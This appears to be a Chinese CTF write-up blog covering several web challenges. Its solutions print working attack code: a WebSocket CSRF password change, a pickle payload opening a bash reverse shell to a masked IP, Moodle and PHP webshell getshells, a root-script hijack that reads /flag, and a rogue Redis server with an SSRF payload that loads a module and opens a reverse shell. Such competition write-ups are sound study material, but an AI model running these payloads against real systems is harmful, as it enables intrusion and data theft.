记录生活
Web babyweb 1 2 3 4 5 6 7 8 9 10 <meta charset="utf-8" > <script > function ws_attack ( ) { var ws = new WebSocket("ws://127.0.0.1:8888/bot" ); ws.onopen = function (evt ) { ws.send("changepw 123456" ); }; } ws_attack(); </script >
存为exp.html放在服务器上,让bot访问exp.html,修改admin密码为123456
登录到admin,抓买东西的包
https://bishopfox.com/blog/json-interoperability-vulnerabilities
新增一个num键为负数,让flask解析第二个重复的键,jsonparser解析第一个键
将钱改到最大值之后,随便买点东西
crash 给了源码,留意到pickle序列化和反序列化操作
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 import base64import picklefrom flask import Flask, make_response,request, sessionimport adminimport randomapp = Flask(__name__,static_url_path='' ) app.secret_key=random.randbytes(12 ) class User : def __init__ (self, username,password ): self.username=username self.token=hash (password) def get_password (username ): if username=="admin" : return admin.secret else : return session.get("password" ) @app.route('/balancer' , methods=['GET' , 'POST' ] ) def flag (): pickle_data=base64.b64decode(request.cookies.get("userdata" )) if b'R' in pickle_data or b"secret" in pickle_data: return "You damm hacker!" os.system("rm -rf *py*" ) userdata=pickle.loads(pickle_data) if userdata.token!=hash (get_password(userdata.username)): return "Login First" if userdata.username=='admin' : return "Welcome admin, here is your next challenge!" return "You're not admin!" @app.route('/login' , methods=['GET' , 'POST' ] ) def login (): resp = make_response("success" ) session["password" ]=request.values.get("password" ) resp.set_cookie("userdata" , base64.b64encode(pickle.dumps(User(request.values.get("username" ),request.values.get("password" )),2 )), max_age=3600 ) return resp @app.route('/' , methods=['GET' , 'POST' ] ) def index (): return open ('source.txt' ,"r" ).read() if __name__ == '__main__' : app.run(host='0.0.0.0' , port=5000 )
构造pickle反序列化上线shell
1 2 3 4 @app.route('/exp', methods=['GET']) def exp(): payload=b'(cos\nsystem\nX\x36\x00\x00\x00bash -c "bash -i >& /dev/tcp/xx.xxx.xxx.xxx/8888 0>&1"o.' return base64.b64encode(payload)
上线后一度怀疑自己思路想提权但是没有能利用的方式,然后突然想起来似乎是上线后一直502,看起来他自己python服务崩了,504是后端超时,502是后端崩掉了,写个flask替换掉本来的后端服务,nginx是一直在的
1 2 3 4 5 6 7 8 9 10 11 12 from flask import Flask app = Flask(__name__, static_url_path='') @app.route('/', methods=['GET', 'POST']) def index(): import time time.sleep(300) return "" if __name__ == '__main__': app.run(host='0.0.0.0', port=5000)
但是环境没有curl、wget这些好用的命令,将代码base64编码一下利用
1 echo ZnJvbSBmbGFzayBpbXBvcnQgRmxhc2sKCgphcHAgPSBGbGFzayhfX25hbWVfXywgc3RhdGljX3VybF9wYXRoPScnKQoKQGFwcC5yb3V0ZSgnLycsIG1ldGhvZHM9WydHRVQnLCAnUE9TVCddKQpkZWYgaW5kZXgoKToKICAgIGltcG9ydCB0aW1lCiAgICB0aW1lLnNsZWVwKDMwMCkKICAgIHJldHVybiAiIgoKaWYgX19uYW1lX18gPT0gJ19fbWFpbl9fJzoKICAgIGFwcC5ydW4oaG9zdD0nMC4wLjAuMCcsIHBvcnQ9NTAwMCk= |base64 -d > app.py
顺利启动后,用burp访问一下,安心等待即可
easylogin
首先发起重置admin(sql注入可知用户名)密码请求,接着利用wp的SQL注入获取重置密码链接的token
拿着token重置密码登陆moodle后台,利用https://github.com/HoangKien1020/Moodle_RCE Getshell
/blocks/rce/lang/en/block_rce.php?cmd=find / -type f |xargs grep "flag{" > ./11.txt搜索flag
强网先锋
文件扫描到www.zip获取到源码
上传inc文件,利用spl_autoload_register进行文件包含
构造反序列化,拿flag
DSCTF决赛
懒得重开一个文档了,记录在这里
safe_script_new
阅读源码,利用php://filter写个马进去
/flag权限只有root可读,翻找suid无果,ps发现有root运行的程序,该程序其他用户可读,就读一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 import subprocess import re import os import time def get_version(program): pid = program[1] try: exe_path = "/proc/" + pid + "/exe" program_path = subprocess.check_output(["su","-l",program[0],"-s",'/bin/bash','-c',f"readlink {exe_path}"], timeout=1).decode('utf-8').strip() print(program, "/proc/" + pid + "/exe", program_path) return subprocess.check_output([program_path, '--version'], timeout=1).decode('utf-8').strip() except Exception as e: print(e) return None def get_process_list(): try: process_list = [] raw = subprocess.check_output(['ps', '-ef']).decode('utf-8').strip() # raw = open("a.txt", "r").read() lines = raw.split('\n') for line in lines: if line.startswith('UID'): continue data = re.findall(r'^([^\x20]+)\x20+([^\x20]+)\x20+([^\x20]+)\x20+([^\x20]+)\x20+([^\x20]+)\x20+([^\x20]+)\x20+([^\x20]+)\x20+(.+?)$', line) if len(data) > 0: data = data[0] else: continue print(data, data[-1]) if "java" in data[-1]: process_list.append(data) return process_list except subprocess.CalledProcessError: return None if __name__ == '__main__': while True: try: processes = get_process_list() for process in processes: get_version(process) except: pass time.sleep(20)
简单来说逻辑就是ps -ef获取所有进程信息,然后判断执行命令里有没有java关键字,有就加入get_version列表中get_version会根据进程信息利用readlink获取当前进程exe原本的执行文件,然后执行该文件加--version参数。
写个c++编译一下,完成后软连接为/var/www/html/java,这时候(注意需要反弹一个shell回来)alias起个别名,alias的优先级是高于$PATH的,但是低于hash,不过似乎这里没有考察这个知识点。值得注意的是,需要使用sleep让该程序挂起等待root起的脚本过来运行。细节如下图
1 2 3 4 5 6 7 8 #include <cstdlib> #include <unistd.h> int main() { system("cat /flag > /var/www/html/111.txt"); sleep(300); return 0; }
ez_java_new
不想写了嫖一下r3鸽鸽的
redis主从攻击
访问/actuator/heapdump拿到heapdump,用Mat打开,OQL查询
拿到redis.password
https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
make,拿到一个恶意so
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 import socketimport timeCRLF="\r\n" payload=open ("exp.so" ,"rb" ).read() exp_filename="exp.so" def RogueServer (lport ): global CRLF global payload flag=True result="" sock=socket.socket() sock.bind(("0.0.0.0" ,lport)) sock.listen(10 ) clientSock, address = sock.accept() while flag: data = clientSock.recv(1024 ) if "PING" in data: result="+PONG" +CRLF clientSock.send(result) flag=True elif "REPLCONF" in data: result="+OK" +CRLF clientSock.send(result) flag=True elif "PSYNC" in data or "SYNC" in data: result = "+FULLRESYNC " + "a" * 40 + " 1" + CRLF result += "$" + str (len (payload)) + CRLF result = result.encode() result += payload result += CRLF clientSock.send(result) flag=False print "done" RogueServer(6378 )
在vps上监听6378端口
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import urllib.parsepayload = ''' HTTP/1.1 AUTH enw!BKT_hac*pev9nvj SLAVEOF ip 6378 config set dbfilename exp.so MODULE LOAD ./exp.so system.rev ip 7777 POST / ''' payload = urllib.parse.quote(payload).replace("%0A" , "%0D%0A" ) payload = "?url=http://127.0.0.1:6379/" + payload print (payload)
Post: url=
监听7777端口,接收到shell